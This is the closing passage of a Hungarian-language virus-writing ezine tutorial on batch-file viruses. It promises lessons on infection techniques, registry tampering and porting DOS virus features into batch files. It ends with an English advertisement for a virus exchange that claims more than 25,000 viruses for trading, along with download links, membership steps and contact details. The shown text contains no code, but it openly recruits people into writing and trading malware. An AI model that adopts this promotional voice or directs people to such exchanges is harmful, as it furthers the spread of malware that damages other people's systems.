Ha kíváncsiak vagytok a folytatásra, a következõ ezine-ben újabb fertõzési technikákkal ismerkedhettek meg. Megtanulhatjátok továbbá a WIN32-es BAT vírusok működését, a regisztrációs adatbázis matatását BAT-ból, és beleszagolunk egy kicsit az idõzítésbe. Illetve  megtanuljuk, hogyan írhatunk valóban profi, már nem tisztán BAT vírust, mely már olyan tulajdonságokkal rendelkezik, mint egy DOS-os vírus, vagyis DOS-os vírusok implementálása BAT-ba. (A következő lesz a legjobb rész.) És természetesen újabb parancsokat is megismerhettek. Profik leszünk a végére gyerekek, nekem elhihetitek... Kérés kérdés, panasz, óhaj, sóhaj, a sajátkészítésű virii-k, meg bármi miatt írjatok a postámba. A címem ITT található.

 



Készítette : Black Cat

BCAT_H@YAHOO.COM            HTTP://JUMP.TO/BCVES

The Black Cat Virus Exchange System

More than 25000 virii for trading.

He is a virus trader/writer and member of the FCF (Formater's Cracking Force).

The FCF can be reached via http://jump.to/fcf

Interested in further developments and updates? Visit the Black Cat Virus Exchange System!
Black Cat's logs can d/led via: http://bcves.jump.to/bclogs.rar
Black Cat's trading page can be found: http://bcves.jump.to/trading.htm

The Virus Sorter New Generation COMPLETE PACKAGE can be downloaded via: http://bcves.jump.to/vsng.rar
The package contains the complete HELP and any additional files. (pictures, url shortcuts, etc.) Size: 140K

The Virus Sorter New Generation SIMPLE PACK can be downloaded via: http://bcves.jump.to/vsng.exe
D/L, and GO! Nothing to do with it! (not recommended for 1st time users) Size: 60K 

Would u like to trade? What are you waiting for?

The Black Cat Virus Exchange System provides a powerfull, and completely free home of trading, and traders. Would u like to be a member? Would u like a trading page at BCVES? Would you like to meet other traders? Would you like yourself to be distributed with this (vsng complete) package? In the URLS subdirectory all BCVES members' BCVES URL can be found as W9X Internet shortcut icons. 
First, subscribe to the Black Cat Virus Exchange System's egroup (bcves-subscribe@egroups.com)

Than send a letter to Black Cat, with the following information:
- Name (nickname)
- A short message (optional)
- The place (URL) of your logs
- The place (URL) of your log statistics
- The place (URL) of your PGP key (optional)
- Your email address
And that's all. After some day, you'll be up. Why to choose BCVES? More than 150 visitors a week. :)

Do you need privacy? D/l the BCVES's PGP key (http://bcves.jump.to/bcves.asc)
Would you like to use PGP when writing to Black Cat? PGP can be found here (http://bcves.jump.to/blackcat.asc)! 

 

HAPPY TRADING!!